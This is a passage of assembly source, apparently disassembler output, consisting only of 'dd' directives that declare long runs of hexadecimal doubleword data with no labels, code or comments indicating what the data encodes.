		dd 0E8D0E003h, 9908006Fh, 7DAD7789h, 0AB3B7FB3h, 0F1930564h
		dd 2FC0AA83h, 0FBF473B0h, 42A6C0D2h, 1E889h, 6152C9E2h
		dd 0D7B65F65h, 0DDDB8201h, 5799322Ah, 4325189Eh, 58498EE3h
		dd 0E0292FE1h, 4A784ECCh, 0CD3A460Ch, 18B02845h, 61564051h
		dd 85FC2DEAh, 8EAAC801h, 9CDAE238h, 0A16065F4h,	0C12A56D1h
		dd 8E5B0643h, 0B9867F30h, 0D3080A28h, 6E154000h, 0F3AFC1F5h
		dd 46DC32CBh, 0E15FBE78h, 0D1A1EC9Ah, 0F5368C1Ch, 0AF608319h
		dd 47A117C0h, 98936458h, 0D22A2038h, 0C040611Dh, 0A1B71A2Fh
		dd 0FC535C21h, 17D55D40h, 8C005BAEh, 5675E891h,	60093FF6h
		dd 9EB0205Ch, 0B300FF82h, 0FDE2BA5Eh, 17C2A21h,	0FA3E17BFh
		dd 80DD37A8h, 2611F6B1h, 7094349h, 0AD33D5C0h, 90054060h
		dd 51DD5437h, 3231C659h, 7CDD62C0h, 0D9A30029h,	21F37C2Fh
		dd 0E80E608Eh, 2DA78286h, 20C6781Eh, 99891F27h,	0FC87531Eh
		dd 11A0AC94h, 2505DC3Ah, 0A3BCD3h, 0BFB26B98h, 48004B78h
		dd 611C1FE3h, 1F1359C1h, 83192F27h, 35DBA3A6h, 32387905h
		dd 241F9AA9h, 2CDE0362h, 0E8C0372Fh, 80BA3689h,	0B27B26C1h
		dd 1E27668h, 0C9DBCFEAh, 0E8494059h, 0C1603604h, 0D1115329h
		dd 0ACA401D6h, 0E5BA8758h, 90C051A6h, 2DE8F0BEh, 0C5BB3B00h
		dd 3E44BFAAh, 8AB4401Fh, 3C02D50Fh, 0BC809EDCh,	0F8682931h
		dd 0A3610D0Ch, 0F0499C06h, 7100ADF7h, 0D3FCC9CBh, 1F39B6DCh
		dd 4C2C6188h, 411A0D2Ah, 0D4D59101h, 0BC132D4Eh, 1DDF7080h
		dd 0D110701Fh, 833DE61Bh, 9C05E089h, 0F119012Ah, 64E3299Fh
		dd 93602048h, 0FF15E80Ch, 38528CDh, 3006FEA4h, 37C1D3CBh
		dd 3DF989B7h, 391B80F9h, 5A92Dh, 0C2B5B204h, 0D3C96E3Ch
		dd 0C4649824h, 51AC0682h, 1D00D37h, 8CEF8788h, 197E1A89h
		dd 9140F86Ch, 7C01124h,	0D55A316Eh, 0A0CD06A2h,	76F60288h
		dd 80E800B4h, 0CAD7B551h, 1F01FF79h, 1D6674BDh,	6089C183h
		dd 20B637h, 98998A02h, 0E5E8B900h, 7D4970E4h, 9B30EF11h
		dd 0D9120389h, 7436B10Ah, 648770EFh, 8F1DADA7h,	2218A61Ch
		dd 0FCB21h, 0B4287249h,	0DEACA254h, 0D8520B00h,	25AB2430h
		dd 0B104005Ch, 2E64D916h, 817D5865h, 0B625601h,	0ADD6E1Eh
		dd 6CB33900h, 0BF43D801h, 0C75812CDh, 21320898h, 6C07BB18h
		dd 77FAD6F0h, 4FBF808Fh, 60249792h, 3A0A78D3h, 4C005A07h
		dd 5BEC652h, 33382B1h, 98891CBAh, 0D91CAC13h, 0A1408B26h
		dd 2C440D4Bh, 0A0AB3905h, 7562B087h, 0B75391B2h, 0D920839Ah
		dd 0AAE6D856h, 23209C12h, 701B014h, 0ACE20916h,	0D10AF880h
		dd 26B39DDEh, 63CD20Dh,	0FB092Eh, 9DE6F121h, 0DEEFAE80h
		dd 0FB1C8D00h, 0E1B16072h, 0A00654E0h, 511400AAh, 32158375h
		dd 0ED668BDDh, 2621B008h, 0ED1CC9h, 2133BC3h, 0F8D6D85Bh
		dd 24E62A0Ah, 70511940h, 22ED4683h, 0E1CA00F7h,	0BCDAC51h
		dd 7E01F08Ah, 0FDDCA796h, 8AD2902Dh, 467414C8h,	39F70017h
		dd 3D182784h, 0C24C0A5Dh, 1ED4BF17h, 819E1B25h,	1DDF823h
		dd 83795110h, 88F61835h, 510018C5h, 61246430h, 62C67F3Dh
		dd 29865826h, 96FA3048h, 16C80B00h, 3DA06ADBh, 0ABE02A9Dh
		dd 364E00C0h, 5B08F898h, 7212817Bh, 6000C190h, 279B5FA3h
		dd 98DE64A7h, 513067DFh, 0A7E58373h, 1ECB00A4h,	0B0E49851h
		dd 9E585F3Ch, 0FA028BDBh, 0D8762Dh, 0EC37ED8Fh,	88699D03h
		dd 0A07EDDF9h, 605C26B4h, 0B980499Ch, 530A5BEDh, 0C4DB10ADh
		dd 44DD7108h, 497660B5h
		dd 54872310h, 0CD001D11h, 3EDF4971h, 0B046B47h,	112E108Fh
		dd 7686D485h, 443CA770h, 0E8660F4h, 44291DD6h, 0C82434h
		dd 0E110398Ah, 0EE602AFAh, 7C43E0F1h, 0D0BB485Ah, 0D8EC687Fh
		dd 28A219C4h, 46D816E2h, 497702B4h, 316C8713h, 0ECC101Bh
		dd 0B8E449h, 0E07FEA58h, 0C4567723h, 26769C3h, 63B02609h
		dd 30465E3Ch, 0A72A2300h, 0A0B5D7CEh, 0C99C7A12h, 0D8541000h
		dd 98CCAE0Bh, 381B4668h, 43F5886Ch, 53CFC457h, 0F16C7B00h
		dd 22260A6h, 4680288Bh,	2495630Dh, 6D80CE91h, 0EF728EA0h
		dd 60802D48h, 78411CF9h, 150E01B2h, 6B2A8088h, 44B8A92Bh
		dd 0B8DAA939h, 7280B911h, 74871449h, 1822A643h,	490DD102h
		dd 0C0441425h, 9088ED47h, 0E4540328h, 0C0671B38h, 6574A100h
		dd 1394BC1Eh, 712E1CA8h, 7EBEC06Bh, 0C610AFCCh,	0C4DB8724h
		dd 89380B85h, 28F94780h, 8F070FA8h, 0D3800550h,	92A09079h
		dd 7FE47E54h, 9A049890h, 0A82AFD78h, 5A251C90h,	0F84C92FFh
		dd 0B10C6023h, 0A194B787h, 0A4444C91h, 44BC8051h, 6E471701h
		dd 0E2C959D0h, 0AA002832h, 0B9CAE6F9h, 93E27E8Ah, 30ECD848h
		dd 0A04A9039h, 0A0B248Bh, 601A4448h, 29F46C6Fh,	0C0F85F43h
		dd 0EF6CB71Ch, 21565201h, 0DE44AF87h, 99E3D886h, 77018010h
		dd 0F836FDF0h, 398ECC6Eh, 0AB60C67Eh, 8BA149CBh, 0FED35F00h
		dd 213E01E3h, 15C7C2Dh,	810E2A47h, 2022CC5Ah, 720ED814h
		dd 0A20FB14Ch, 0A009898Ch, 0E3F89680h, 4860092h, 8FE167DCh
		dd 4F30227Eh, 47F53823h, 88C10B84h, 880405A3h, 9DD8600Bh
		dd 8C267A71h, 13EFDD44h, 9679DE0h, 8837629Ch, 19447902h
		dd 0D93060DEh, 0C0F25058h, 79B1864h, 0AF5D7A87h, 4C78AE4Dh
		dd 8CB0BC90h, 0D2043900h, 0C7875F1h, 0E2102896h, 791D44ECh
		dd 0D1A9E330h, 16221DBh, 53416D27h, 0F22686EEh,	718DDF00h
		dd 7A930FE1h, 0D0AFAC35h, 4913C2A0h, 96090EDBh,	843C0450h
		dd 8341F5D0h, 46CB1852h, 22C20B4h, 0F011A01Ch, 1452810Ah
		dd 1280A0C4h, 40B2093h,	100F4CB4h, 8CDBE8C8h, 0F7900F01h
		dd 104A7445h, 2627B060h, 1E05866h, 3C87C9EEh, 8304216h
		dd 149DD730h, 0F8CA2670h, 9DDFEEE0h, 0F9247512h, 0D6099442h
		dd 350304A4h, 0A304046Bh, 0A411F5h, 0E3590348h,	0F974B1C4h
		dd 2CF518F2h, 14E009C5h, 401499A1h, 0CC4BC05h, 78670E33h
		dd 0C2FCE089h, 705F0B21h, 0EC662441h, 4C04B718h, 7910F527h
		dd 67B1DC90h, 0C239C0C8h, 834CFE1h, 54F23D03h, 0E877820Ch
		dd 7C4B86FEh, 0B98100BAh, 0B6A6DC88h, 0A93997A4h, 7FDE00EAh
		dd 21021922h, 3D3E00ABh, 0DD7D0BB7h, 0F50D687h,	650EC4DCh
		dd 0E0AFE09Bh, 92693AC1h, 0E6070081h, 7A7CEE7Bh, 40C103C4h
		dd 0E49347A3h, 60A15880h, 0BC04E392h, 0B90970FAh, 41FBB3AEh
		dd 9C707694h, 9364084h,	10309958h, 0C048D8DEh, 6A23010h
		dd 9DC7A7Fh, 0DD3E2928h, 801C91F0h, 43DA6C71h, 34448C6Fh
		dd 6CB9001Ah, 9DB0CC48h, 521EDA4Dh, 4E80FE2Fh, 0B803281Dh
		dd 9E830474h, 0C21516B3h, 3848A776h, 8E9847C4h,	0DBF7F600h
		dd 4548555Bh, 71E287Ch,	0D6162690h, 8A9C01DCh, 80A2E098h
		dd 513E2539h, 1958DAFh,	0EE02879Eh, 60C73B0Bh, 0A388053Ch
		dd 0A0174D22h, 50B79125h, 47AED388h, 84D4D89Ch,	0B03D2320h
		dd 9D012E03h, 7F34A0FAh, 0E860647Eh, 0E270A261h, 0C0F631F3h
		dd 0AB0514E4h, 0DE68BA47h, 0FF65D040h, 6A32C9Fh, 0F9B2677h
		dd 784890FDh, 7891050h,	19E8BC4Ch, 166FA8Ch, 8A02AA3Fh
		dd 0E03152C9h, 2858FDDAh, 1C4FC2F8h, 228301D2h,	4870D243h
		dd 68D59603h, 1206C78Ch, 2262B990h, 0B230E140h,	43D7116Ch
		dd 80CC88C7h, 446CBA19h, 0A349E0E2h, 50C90010h,	0FEE62829h
		dd 0D6A81E7Fh, 3DAC8090h, 6E4E95F5h, 45DCB002h,	0DC5672Ah
		dd 0B2787338h, 1F2F3019h, 60003B75h, 0B0CBA1D5h, 0D0FB0F3Ch
		dd 30B868D8h, 9117018Ch, 93A2F5D6h, 0B25040E3h,	0B604333Ah
		dd 1E0AAE2h, 0B8070090h, 4D113B3Fh, 0A4FDD787h,	8AC72DEh
		dd 6C090058h, 10452513h, 207A838Ch, 1508CA8Ch, 24D7904Fh
		dd 80DB11C4h, 83775112h, 0C03C9105h, 1E511AC7h,	0BB835C0Eh
		dd 3B26816Ch, 7C4007D3h, 67739CB0h, 0B34210A3h,	0CBC3FB84h
		dd 4AF421A0h, 0C32D1500h, 0CEB18758h, 30A9008h,	0E1F50D0Fh
		dd 64E9E59Dh, 0E7F3E1ADh, 3E27B1C0h, 95BAFA07h,	44902E4Dh
		dd 1B40490h, 7850097Eh,	0E4490C57h, 0F8004CB6h,	0BD60B8E7h
		dd 3F9BFBh, 80CF66CDh, 3503476Bh, 9D00B6E4h, 9C4595DFh
		dd 0D2370h, 5DA890A1h, 0FC204652h, 3C6E8E3Ch, 0CE8F0026h
		dd 90CA9E3Ah, 12F20091h, 0D2FA42E2h, 8C00C705h,	5B09D7E1h
		dd 1D950Ch, 705623B9h, 5DE3843Fh, 0BDFC1500h, 3EB5259Ch
		dd 5B4C3EF1h, 8993DE8Dh, 0C040F11h, 1049C3C9h, 0DD721Fh
		dd 0CE67EE2Dh, 7B78FD4Eh, 8CA8300h, 0C05E9FB6h,	62EF0066h
		dd 0E5C9336Dh, 0A4002A2Dh, 6CF93019h, 8741C6h, 93CFFB1Eh
		dd 0C3E9F449h, 83E34700h, 0D71BEE99h, 0A3CB001Dh, 6F5BA8ACh
		dd 8E003CA1h, 0B2BFA53Bh, 5652C3h, 3A8BE783h, 0AB84C4A0h
		dd 9A08A160h, 0F2FF8Dh,	0A33C8FB7h, 0D9C6E1BDh,	949F1500h
		dd 0E24A23E7h, 88E0000Ch, 7208A226h, 0B900A73Bh, 5FED9F7h
		dd 99F5C3h, 2B1E913Fh, 0C04F75CCh, 14C7D700h, 0BE647138h
		dd 7FD1C125h, 8065D50Ah, 3E975229h, 0FAA72DA6h,	19E3606Eh
		dd 86D9010Ch, 0BE894D26h, 8C091F0Eh, 78B768C0h,	51130356h
		dd 794AB4E6h, 0EF805B87h, 0BB12E2EEh, 546CFC00h, 42CEFE0Bh
		dd 3D4F0058h, 4550BC1Eh, 230377D5h, 0B51DBE9Eh,	5A7BE0C8h
		dd 78DB60E0h, 7EE58ECDh, 0CEF85974h, 88AC9914h,	5FE200E8h
		dd 241C19A7h, 3E17DFDh,	1BFCB768h, 9802CE9Ch, 9E58D6C7h
		dd 5CE44078h, 0C1EF0364h, 0E79FE30Bh, 2286C7D1h, 0B31B0010h
		dd 57374608h, 0FF1824F0h, 43240F08h, 458ECEA0h,	1C00955Ah
		dd 0CC896C16h, 1EA33371h, 0C096BECDh, 0F5D411E8h, 8D00A914h
		dd 325A408Bh, 70D82E2h,	0AE156C83h, 0BD8ED027h,	0C0003B39h
		dd 4FC2B359h, 0F3F7E4h,	887F357Dh, 254DD231h, 0F76813Dh
		dd 0A04A8E2Eh, 436BC391h, 0ADCF1D73h, 6027407Ah, 6AB71055h
		dd 0A6233700h, 659BE19Dh, 814D0156h, 0F8CA13Ch,	99E0803Fh
		dd 0D5CC11A8h, 3DDD0EEAh, 5720231Ch, 0A42F31E2h, 0AC5E5600h
		dd 0D6182965h, 0B89E02B9h, 0C953B3A2h, 8C92A480h, 0C8A025EDh
		dd 8000FDAh, 0D1238909h, 67171Fh, 0BF60C687h, 6DF21168h
		dd 0B0499400h, 0FB8902Eh, 0D0170E95h, 0FF8040E5h, 0C524BD23h
		dd 73155600h, 0C002CF74h, 979C507Ah, 12100ECEh,	13201436h
		dd 808CBECBh, 0EB5D5315h, 0D2AC00D4h, 88CC73DDh, 6A26005Fh
		dd 94014BF5h, 49009727h, 6FA5A637h, 0C1704h, 0E31B8826h
		dd 0A1A30F84h, 4FD9EB00h, 0CB8B4727h, 0C00E3C71h, 28CF1A8h
		dd 37AB81EDh, 0A084C438h, 9C1CC8FBh, 0A06C5B00h, 92FE903Dh
		dd 11EA0188h, 0D77F7357h, 347AC4F6h, 0A2C5FD00h, 43E77C46h
		dd 0C331000Dh, 87EE1AB5h, 0FB006705h, 0E46B0265h, 4A815Ch
		dd 0FE015A52h, 2722421Ah, 0E7D43100h, 7EBF9B18h, 45F13EE0h
		dd 7875F800h, 0A903C784h, 0E209B607h, 2C2748E3h, 0C0DBD670h
		dd 0E57400E8h, 9579D7F7h, 480009EDh, 0B4CBFBE0h, 0FE8F51Fh
		dd 7FB3333Ch, 6850F09Dh, 0F3007216h, 0BC1777FAh, 8E60D2h
		dd 97C2D451h, 2BEE8B38h
		dd 0E3492500h, 2E019E59h, 4D000F4h, 8A9079D5h, 5500B967h
		dd 3735B5E8h, 3325928h,	0B4F6A6A7h, 0C18CE793h,	407A3E15h
		dd 7FCE2DD8h, 8BB95606h, 68BEB0h, 49615DCh, 5C14BDBCh
		dd 0C582D200h, 7F72C88Ch, 113717F3h, 3C15140Dh,	468F5A00h
		dd 0BEDCCA90h, 74A37C00h, 36E50C6Ah, 0E7E010h, 0EB69D538h
		dd 632BDBA6h, 1E61FF00h, 0B31F0A67h, 0EDF0001Ch, 7EB2CE4Ah
		dd 841432C9h, 7AB868E0h, 1258D501h, 13F87574h, 7F971DC4h
		dd 69FC0076h, 0A9AB532Dh, 0B1002182h, 7918BE0Fh, 73445689h
		dd 8D861EF6h, 87506453h, 847006h, 329D0E2Dh, 55019870h
		dd 0ECDAF138h, 0A4202C6Bh, 1AD606F5h, 110B670Fh, 0E68FA300h
		dd 78CECB6Eh, 0ECB12448h, 165D004Ch, 7AC9245Ch,	84F2D61Fh
		dd 99BCB886h, 1C5E7658h, 0BDDD3A8Fh, 88364E80h,	27D05172h
		dd 0D25F91C0h, 98BB16h,	0C61BE5FCh, 31FA4109h, 71226700h
		dd 270F3536h, 0ACA8505Fh, 294300C0h, 37A2D920h,	0E7386415h
		dd 0E89B8990h, 0D6B5000Ah, 0B0979C14h, 1B0B3E3Fh, 746200FBh
		dd 731ED2F0h, 44003BBCh, 0C7379E48h, 3A72E46h, 0F6ECB5C8h
		dd 0D098706Eh, 1A00014Fh, 41CC769Bh, 1D06E268h,	0C0435C7Eh
		dd 0FCAB3810h, 0E03C8E90h, 639A8093h, 45A55EA2h, 365F0BDBh
		dd 9820AC3Fh, 829BBF8Dh, 348C540Bh, 37C58046h, 0B446DBDh
		dd 68D01A7Bh, 97138400h, 1E017CC2h, 0CA57DDF3h,	0D860C4BFh
		dd 0A95C268Dh, 56BE0018h, 16D47612h, 0B5EC7B00h, 0C262B42Bh
		dd 9B4F0087h, 0FA10702Ch, 320078D8h, 33EEB50Ch,	7BE32EDDh
		dd 0CE790447h, 0C3FBAB4Bh, 1EC86D36h, 3F00EB6Ah, 0FE123AEh
		dd 0C14D4Eh, 0D09FC719h, 0E0A813F3h, 0DB00E97Eh, 3E207EDAh
		dd 90BE9665h, 0B00300A5h, 727C0569h, 6309A53Fh,	80D0F391h
		dd 0D4180B46h, 20D30058h, 551E14C8h, 9D00755Bh,	0F67BF9C3h
		dd 1C6C65BEh, 0C0D239FBh, 0AB033BD5h, 0E000C7F5h, 52FAD128h
		dd 108CF72h, 7FBD93B2h,	804B242Dh, 90CD4C40h, 9C4050h
		dd 3567B720h, 0E6CC4C6h, 2100DAF0h, 0DDACBB8Bh,	59E3666Eh
		dd 776A41Eh, 0CC80A5B0h, 0CA82E0BAh, 0FF03A7EFh, 0E4F0FCEAh
		dd 10388B8h, 4EC200A1h,	79AAC633h, 0A600A815h, 7058177Eh
		dd 3A9C39A4h, 0E68366F2h, 7B4F5B0Dh, 0BB1702A0h, 83C67E00h
		dd 0B0BA6A86h, 62AD01C2h, 2936DAF8h, 1784C864h,	7C831A00h
		dd 0ACA1EAC5h, 0E49A48h, 6E22F2CBh, 0AAB4598h, 0B571680Ch
		dd 78A9B821h, 1359743Ah, 46A549CEh, 0D922AEFCh,	68EAA703h
		dd 0A042A95Dh, 380FC73h, 7E6B72BDh, 46D82414h, 0A60045D6h
		dd 37652C3Fh, 0E899901h, 3A56E4C5h, 3D2866Eh, 0A4207171h
		dd 3126107h, 280CB0Dh, 2459B3EDh, 80DC36F6h, 0A15E34F0h
		dd 200068D2h, 0C785606h, 0A04C703Fh, 57AB6108h,	8285C42h
		dd 58C761B9h, 0D0B4C385h, 0E914C580h, 0C888B1A1h, 4017C9h
		dd 0B25D996Eh, 5800A63Bh, 21EA1E68h, 821DC0h, 0AC238AE3h
		dd 6BD3E94Fh, 0EC9EA800h, 32AAAD42h, 87E5003Eh,	76A4FB5Ch
		dd 9D7A28C8h, 8B901400h, 8CD792F7h, 57DB0001h, 0B6406B05h
		dd 0D53B8AE7h, 0C9FD8CF8h, 9E8F1E3h, 0EE59D12Fh, 417E04Ah
		dd 0EDD8F2E1h, 1FB71096h, 11240008h, 43EEFB02h,	0DE2D5503h
		dd 981961F2h, 1C8B1BBh,	0F1C30AF9h, 60B3D07Fh, 0DC000788h
		dd 47349B4Dh, 22E9A8h, 90EF7156h, 5D730311h, 5B8A7D00h
		dd 0FEAB8E6Fh, 0A6191DFAh, 0AF79C0B4h, 92F80376h, 0A8EA8D2Eh
		dd 2E1CDB80h, 3F6EF520h, 83174895h, 0E1BC4043h,	6016D02Bh
		dd 0C0A3E200h, 0AC852D40h, 42F3009Eh, 0EE362982h, 180EF273h
		dd 0C0491F64h, 0BA032EB5h, 670E0058h, 575FE802h, 6E03F9CBh
		dd 0F1F01E6Ch, 0E820DB69h, 3941DD04h, 0F2B0DAD3h, 0CE55C470h
		dd 0C50B4801h, 0F179B64Dh, 0F841E4C1h, 0F0F4C3DDh, 462300E9h
		dd 2FBA184Bh, 0E4001C8Bh, 0A0137B85h, 1C6BF02Dh, 80109ACEh
		dd 3C80EFCh, 0E058DC50h, 0D3260058h, 22FD743Ch,	3A792C4Eh
		dd 0B38F409Ch, 42077D24h, 5F63ED09h, 0CB44DF0h,	0DD980382h
		dd 0E726DC1Fh, 70B834A1h, 45177ED8h, 97161BCCh,	8A11D81Eh
		dd 0B35BD500h, 0F99D38A5h, 0E9666B00h, 44DDE4E3h, 3ABAE024h
		dd 8A87A917h, 301D2947h, 0E78FFD91h, 0D800D496h, 6B158BA4h
		dd 37BE007Ch, 4B362A3Dh, 0F078037Ah, 96336600h,	0E9090549h
		dd 1A2F003Ah, 0ECD8F7Ch, 860AB924h, 0F0F801B0h,	7F00FD24h
		dd 61620F7Eh, 141C02FDh, 0E67CCE82h, 0C0946458h, 81CD5988h
		dd 0F75C5691h, 2C49E9AFh, 41F10014h, 11D83144h,	5971CABh
		dd 0ABC5DA4h, 7885618h,	4F52C6E2h, 0D70322A0h, 0A7FAC82Dh
		dd 204FBA30h, 7BB06B88h, 6DC300FBh, 1C795D42h, 6807E4D5h
		dd 25DD1D9Bh, 79FB9D0h,	89088h,	0C4417D35h, 69343B06h
		dd 50D0EC54h, 59D3ED03h, 0C1DA7975h, 0EFC4481Fh, 2FCA0078h
		dd 0CC701E2Ch, 541489FFh, 0E8406E5h, 0C1DB17D2h, 0C4FE5E85h
		dd 7FECF1C9h, 56DC286Bh, 41DF22E0h, 5B8D800h, 8B678340h
		dd 94BF0145h, 0A5C5BE43h, 0D1A34049h, 4A0054D4h, 85967264h
		dd 50FBD736h, 92FC63h, 94C8E3B2h, 0BCA71D4Dh, 0C680F250h
		dd 0D0451C09h, 0C4F04307h, 8F028D22h, 3FD848AFh, 7CD002EBh
		dd 643AFD9Bh, 0EC4BCC80h, 0D40086B8h, 39D90350h, 9B7127h
		dd 5985F47h, 0BD9E791Ah, 1FD75A00h, 4FB6A48Ch, 559B1D76h
		dd 51A6C098h, 819D4489h, 0E4F11000h, 0FC7BAFBDh, 2D492C55h
		dd 2131005Ch, 38D301D2h, 5FF8200h, 67DE6DE2h, 68E30048h
		dd 9FCE126Bh, 7F0F9D0Ah, 0C303D361h, 0F318BD9Ch, 562000B2h
		dd 29E25913h, 0D90107A5h, 0A5D175Ah, 0A4406DD6h, 3DC6752Eh
		dd 0A880338Fh, 0DDB4FD7Fh, 0D200911Eh, 7E66DD8h, 4696F0Dh
		dd 0A9346156h, 12AC9062h, 1E4FC19Ch, 61466C45h,	0B74E6DC0h
		dd 0E4FE127Ch, 80405CC2h, 308D518Ah, 1A00E1EAh,	65CE8B09h
		dd 556704h, 8ECD271Dh, 702F71CBh, 0C58F3203h, 0BE917Fh
		dd 10E66BE8h, 737611A0h, 9C43CE0Eh, 0BDE18165h,	5ECCDC57h
		dd 94FD0007h, 0ED8B60B6h, 49004BECh, 0AF50C0E2h, 0F0EF77B5h
		dd 0B4171C83h, 0E3938E4Ah, 0D6308980h, 0FCA88164h, 47029116h
		dd 5A9AC461h, 26DC52EAh, 0C0A2FBh, 46E8F919h, 0AD001456h
		dd 6D26215h, 1A41E5h, 3F6912E0h, 8F85A1CAh, 4A9938h, 4725F1D5h
		dd 7E625617h, 18A6601Ah, 0D2CDDC55h, 0F2581600h, 0F663179Dh
		dd 75DB00FFh, 99E0E23Dh, 89AD6BFh, 0A8060300h, 876545B6h
		dd 3BE3F2CEh, 0A20E647Fh, 0BE60E6FCh, 2608E77Ch, 7D044900h
		dd 0E305F137h, 9B200E1h, 88AAB945h, 2CF1D7DEh, 0A88C397Ch
		dd 7903A8A0h, 0B1C0398Ah, 9F34F062h, 0C45A066Fh, 229B12E5h
		dd 0EA439302h, 0C0B1F6FEh, 353E358h, 3EA9B709h,	1CF8E69Dh
		dd 61784EE2h, 6E5CD707h, 54D05F17h, 0B0A6539Eh,	0E2C61D61h
		dd 0F41B8080h, 0D974AEF0h, 49413800h, 35C5F3D7h, 0F16A2526h
		dd 28B7D013h, 77D18038h, 0F6D4C052h, 0B63A00FBh, 6E3FE5ECh
		dd 621FB28Bh, 0B500301Eh, 54C6467Dh, 29731311h,	1D1C9053h
		dd 230F3D9Ch, 0E4AEE501h, 0D8808FD5h, 0CCF5A2Bh, 0C6747DAAh
		dd 0B4017108h, 0E1A7BF96h, 0D443BBB0h, 3CEB886Dh, 43A50941h
		dd 0B30058DBh, 7679DEADh, 0A6B4FF3Ah, 378E1C97h, 0EED820B8h
		dd 9A9196h, 7BD23A0Ch, 0E1C8CBBCh, 9C0DF303h, 0B84707B3h
		dd 0E704CCEEh, 3A3345C8h, 0E800937Bh, 0A458D0C3h, 240EE4CFh
		dd 0A028DB51h
		dd 8B302208h, 452D00C5h, 0E8BCF75Eh, 0CD71A975h, 4C45E54Ah
		dd 0E8C895A1h, 0F8AC5CC7h, 1F44C51Dh, 224501B2h, 79B7919h
		dd 6CF54C7h, 78115FCFh,	148100B4h, 465B52ACh, 0BB62E512h
		dd 80AAA138h, 6E40A42Ch, 0E35894EEh, 48B70AB2h,	4598B880h
		dd 184430AFh, 200D727Ch, 0BA89EAE3h, 26B95400h,	0CE50928h
		dd 0A406B200h, 5D68DAA7h, 3E5774C9h, 79AC3F80h,	646003D1h
		dd 1489EC56h, 0A800FF23h, 2CA7E588h, 668C4D6h, 203B2FCFh
		dd 8200D8BBh, 0FEFFC1B7h, 1D42A69Eh, 4D991Ah, 0BE698B88h
		dd 6A0F28D0h, 43A206AAh, 0E4B9651h, 0E3626CE9h,	0E04CC5C6h
		dd 864CD33h, 8D210077h,	5881E35Ah, 5603A0E0h, 0D8A28C48h
		dd 0F9E1004Ah, 468F14B5h, 0D50BFA08h, 224C375h,	0A10A25F0h
		dd 53BB44D8h, 7965C9DCh, 994F0D0Bh, 91608745h, 5E855590h
		dd 69E81DE3h, 76604E48h, 0A592E6E3h, 0BCBEF702h, 0A040C95Ah
		dd 0DFB8D1ACh, 8FE10058h, 3EC2166h, 157D601Fh, 97123D00h
		dd 0EE4918AFh, 23F130BAh, 0B8B1EA1h, 7AA96601h,	2AA1A568h
		dd 211D0898h, 0B008060h, 0FC55371h, 781639ABh, 0E3A00564h
		dd 11D95F9h, 259A1280h,	4D36017Ch, 0FA702C4h, 7F3E6FB4h
		dd 0A94CF158h, 0D2F35C24h, 480AB307h, 6E086326h, 54E021A1h
		dd 9C174FF3h, 6AE3091Fh, 0D4430B41h, 0E992B42Fh, 0AB607F1h
		dd 0C676811Bh, 11198032h, 0B95DC7B1h, 224409A0h, 880E8870h
		dd 0F42C2159h, 0B100CFC8h, 0F5BF3F79h, 0A0017AA6h, 800695E4h
		dd 44F0D910h, 51300F00h, 0F00E0DC5h, 0F8A7AE6h,	562A3471h
		dd 670FA681h, 0CE6B30A2h, 95103C50h, 363F5306h,	0B0D1C9C8h
		dd 8370940Bh, 48910DB2h, 0C0B0B6C2h, 62100B87h,	64E01AA9h
		dd 551E0B7Ch, 74879495h, 0EE17AD45h, 92C23601h,	2B696980h
		dd 849A5DBCh, 25C5EC06h, 980D86h, 0F2956E41h, 88016C2Fh
		dd 54113C91h, 84E35B80h, 448C14C5h, 73028678h, 49C39FE3h
		dd 5ABC8421h, 59C8B560h, 4580B910h, 30833DC8h, 0B8FAC8BDh
		dd 1E9EF3CDh, 0AABE65A2h, 0F9231D9Ch, 0E1DDCCC5h, 0B10AA310h
		dd 8028F149h, 43ADCB80h, 0C79607h, 0ED244586h, 0DB3DBE4Dh
		dd 9D5B30C0h, 3AE41CDh,	2C108B7Bh, 0B90EB56Ch, 0E5AD86C3h
		dd 8C104CB9h, 69CE14DCh, 0E808487Ch, 0B8028C79h, 35A211E8h
		dd 8278409Eh, 5B7801C2h, 3E762DA7h, 85D187Ch, 4B11B1F3h
		dd 75556670h, 120E7EF3h, 8691FDDh, 41CEBC10h, 2AA9600Bh
		dd 7E891818h, 670BC4h, 0D6CC77BAh, 0BC7F9CD2h, 11B43C04h
		dd 0A0C05943h, 2B1AA0Eh, 692530B3h, 0C0C007D8h,	628269Bh
		dd 0B1EA442h, 20830DF6h, 0D5D947E0h, 69A46380h,	0E56061Dh
		dd 40B50FF2h, 0E2C1B40Ch, 3DB0585Bh, 0A503B3EFh, 0C8C38D33h
		dd 1B9C023h, 0A95D0B84h, 88141812h, 0B007D65h, 0CDEB3296h
		dd 7DB475D6h, 34C92450h, 0DAD88020h, 0F28DA6E5h, 0BDAE9600h
		dd 5E091473h, 0F0C750C3h, 4C8BEC46h, 73E8A8ECh,	8538078Ch
		dd 303F9919h, 0C34C8725h, 0B5A9E003h, 23848AE1h, 600B5359h
		dd 5CD605E3h, 2F742C22h, 980058A9h, 2FBCE44Dh, 3F107F18h
		dd 0B86DE7F1h, 9258DF35h, 5744226Fh, 16E35C30h,	39FCC587h
		dd 0E374F404h, 7BB62704h, 44D27F14h, 0AF5C0040h, 2B4CF1C9h
		dd 4C316268h, 0E44C456Fh, 0DF1660B6h, 0AB655CABh, 4C2A054h
		dd 0D64F3045h, 8E094CDh, 26CABBF8h, 82A95F05h, 2015F862h
		dd 4E0B8363h, 0ED5EE001h, 7229957Bh, 4861A420h,	0A61DA00Dh
		dd 400993F9h, 589BFFC8h, 2FB077ACh, 1DEE3600h, 757A90E2h
		dd 2F97005Dh, 0CDA3A1E0h, 2C003D4Bh, 34FDD223h,	0AEB49Dh
		dd 2D3346F9h, 0C0B0A561h, 3F485800h, 5BE19C62h,	0F5C4005Ch
		dd 97E096ACh, 520011B3h, 4D35CEA8h, 77DD4CBCh, 4670F8Fh
		dd 7E00E737h, 99C3037Fh, 0C1CB701h, 0A83256ECh,	0A5840E2h
		dd 893D1EF6h, 0EA908046h, 0D2A3597Fh, 71E55600h, 0EB4097Ah
		dd 0BD660014h, 2CDCF552h, 8F009910h, 0D889955Ch, 788BEDh
		dd 5EE2A4D3h, 8194E591h, 18C047B0h, 7AFBAE88h, 9B6C0790h
		dd 577F0205h, 775700E3h, 0CB6004F1h, 32D98741h,	94101C3Eh
		dd 19E498A1h, 0D0125AFh, 817EC17Bh, 0DF1018B0h,	0D700A59Dh
		dd 0D8486E27h, 1091768h, 7D801F2Eh, 0C30F78DBh,	0D5F61007h
		dd 4EA694A7h, 3B73128h,	10AA3D19h, 186F8D0Ah, 0F8150F73h
		dd 62030590h, 5E04BDF4h, 8800C508h, 983A8ACFh, 6CC406ABh
		dd 0D054F1A3h, 0B6DAD500h, 0BCFAE371h, 0B0DE0035h, 72B31566h
